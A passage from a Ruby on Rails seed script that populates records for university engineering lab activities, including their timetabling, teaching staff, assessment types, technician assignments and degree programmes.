nil)\n ActivityTech.where(activity_id: a612.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a612.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a613 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"GEE204\").first.id, code: \"430\").first_or_create!(name: \"Fluidic Carousel\",\n name_abrv: \"FUNLAB\", archived: false, in_drive: true, user_id: 3)\n at613 = ActivityTimetable.where(activity_id: a613.id).first_or_create!(duration: 90, kit_prep_time: nil, min_week_num: 12, max_week_num: 12, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 50, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a613.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/y3kowsbv\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a613.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a613.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a613.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a613.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a614 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AER192\").first.id, code: \"unknowncode81\").first_or_create!(name: \"Name that Gas\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 1)\n at614 = ActivityTimetable.where(activity_id: a614.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: 9, max_week_num: 10, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a614.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a614.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a614.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a614.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a614.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a615 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"FCE6100\").first.id, code: \"1\").first_or_create!(name: \"FCE6100\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 2)\n at615 = ActivityTimetable.where(activity_id: a615.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a615.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a615.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a615.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a615.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 3)\n\n\n a616 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE260\").first.id, code: \"130\").first_or_create!(name: \"Consigma Front Training\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 3)\n at616 = ActivityTimetable.where(activity_id: a616.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: 1, max_week_num: 3, pref_room_id: $room_pp.id,\n same_as_prev_year: true, series_setup_time: 30, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 10, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a616.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a616.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a616.id).first_or_create!(assess_weight: nil, notes: \"only training to get them ready for the actual exp\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_other.id, num_assess: nil)\n ActivityTech.where(activity_id: a616.id).first_or_create!(cost_per_student: nil, equip_needed: \"ConsiGma25\",\n last_risk_assess: Date.new(19, 1, 20), next_risk_assess: Date.new(20, 1, 20), tech_lead_id: 1, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a616.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a617 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE260\").first.id, code: \"131\").first_or_create!(name: \"Consigma Back Training\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 5)\n at617 = ActivityTimetable.where(activity_id: a617.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: 1, max_week_num: 3, pref_room_id: $room_pp.id,\n same_as_prev_year: true, series_setup_time: 30, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 10, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a617.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a617.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a617.id).first_or_create!(assess_weight: nil, notes: \"only training to get them ready for the actual exp\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_other.id, num_assess: nil)\n ActivityTech.where(activity_id: a617.id).first_or_create!(cost_per_student: nil, equip_needed: \"ConsiGma25\",\n last_risk_assess: Date.new(19, 1, 20), next_risk_assess: Date.new(20, 1, 20), tech_lead_id: 4, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a617.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a618 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE260\").first.id, code: \"132\").first_or_create!(name: \"Cont Crystalliser Training\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 3)\n at618 = ActivityTimetable.where(activity_id: a618.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: 1, max_week_num: 3, pref_room_id: $room_al.id,\n same_as_prev_year: true, series_setup_time: 30, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 10, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a618.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a618.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a618.id).first_or_create!(assess_weight: nil, notes: \"only training to get them ready for the actual exp\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_other.id, num_assess: nil)\n ActivityTech.where(activity_id: a618.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a618.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a619 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE260\").first.id, code: \"133\").first_or_create!(name: \"Carousel Filter Dryer Training\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 5)\n at619 = ActivityTimetable.where(activity_id: a619.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: 1, max_week_num: 3, pref_room_id: $room_al.id,\n same_as_prev_year: true, series_setup_time: 30, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 10, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a619.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a619.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a619.id).first_or_create!(assess_weight: nil, notes: \"only training to get them ready for the actual exp\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_other.id, num_assess: nil)\n ActivityTech.where(activity_id: a619.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a619.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a620 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"COM1005\").first.id, code: \"unknowncode82\").first_or_create!(name: \"Lab\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 1)\n at620 = ActivityTimetable.where(activity_id: a620.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a620.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a620.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a620.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a620.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a620.id, programme_id: $prog_com.id).first_or_create!\n\n\n a621 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"FCE001\").first.id, code: \"unknowncode83\").first_or_create!(name: \"Iforge\",\n name_abrv: \"IF\", archived: false, in_drive: false, user_id: 4)\n at621 = ActivityTimetable.where(activity_id: a621.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a621.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a621.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a621.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a621.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a621.id, programme_id: $prog_com.id).first_or_create!\n\n\n a622 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE360\").first.id, code: \"134\").first_or_create!(name: \"Investigation of Residence Time Distribution in a CSTR\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 5)\n at622 = ActivityTimetable.where(activity_id: a622.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: 6, max_week_num: 12, pref_room_id: $room_al.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 15, takedown_time: 15, notes: \"\",\n capacity: 6, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a622.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a622.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a622.id).first_or_create!(assess_weight: 10.0, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 1)\n ActivityTech.where(activity_id: a622.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a622.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a623 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE6602\").first.id, code: \"134\").first_or_create!(name: \"Workstation Familiarisation\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 5)\n at623 = ActivityTimetable.where(activity_id: a623.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a623.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a623.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a623.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a623.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a623.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a624 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE6600\").first.id, code: \"134\").first_or_create!(name: \"Workstation Familiarisation\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 4)\n at624 = ActivityTimetable.where(activity_id: a624.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a624.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a624.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a624.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a624.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a624.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a625 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE6222\").first.id, code: \"134\").first_or_create!(name: \"Workstation Familiarisation\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 2)\n at625 = ActivityTimetable.where(activity_id: a625.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a625.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a625.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a625.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a625.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a625.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a626 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE6225\").first.id, code: \"134\").first_or_create!(name: \"Workstation Familiarisation\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 4)\n at626 = ActivityTimetable.where(activity_id: a626.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a626.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a626.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a626.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a626.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a626.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a627 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"COM6910\").first.id, code: \"134\").first_or_create!(name: \"Workstation Familiarisation\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 4)\n at627 = ActivityTimetable.where(activity_id: a627.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a627.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a627.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a627.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a627.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a627.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a628 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE6602\").first.id, code: \"141\").first_or_create!(name: \"Lab View\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 2)\n at628 = ActivityTimetable.where(activity_id: a628.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a628.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a628.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a628.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a628.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a628.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a629 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE6602\").first.id, code: \"402\").first_or_create!(name: \"FPGA\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 3)\n at629 = ActivityTimetable.where(activity_id: a629.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a629.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a629.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a629.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a629.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a629.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a630 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE6600\").first.id, code: \"402\").first_or_create!(name: \"FPGA\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 3)\n at630 = ActivityTimetable.where(activity_id: a630.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a630.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a630.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a630.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a630.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a630.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a631 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE6602\").first.id, code: \"142\").first_or_create!(name: \"Power Electronics\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 1)\n at631 = ActivityTimetable.where(activity_id: a631.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a631.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a631.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a631.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a631.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a631.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a632 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE6602\").first.id, code: \"313\").first_or_create!(name: \"Clean Room\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 2)\n at632 = ActivityTimetable.where(activity_id: a632.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a632.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a632.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a632.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a632.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a632.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a633 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE360\").first.id, code: \"135\").first_or_create!(name: \"Bioreactor Engineering\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 3)\n at633 = ActivityTimetable.where(activity_id: a633.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: 9, max_week_num: 12, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 6, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a633.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a633.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a633.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a633.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a633.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a634 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"AMR131\").first.id, code: \"134\").first_or_create!(name: \"Workstation Familiarisation\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 2)\n at634 = ActivityTimetable.where(activity_id: a634.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 1, max_week_num: 6, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"To run before DC Circuits\",\n capacity: 140, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a634.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: 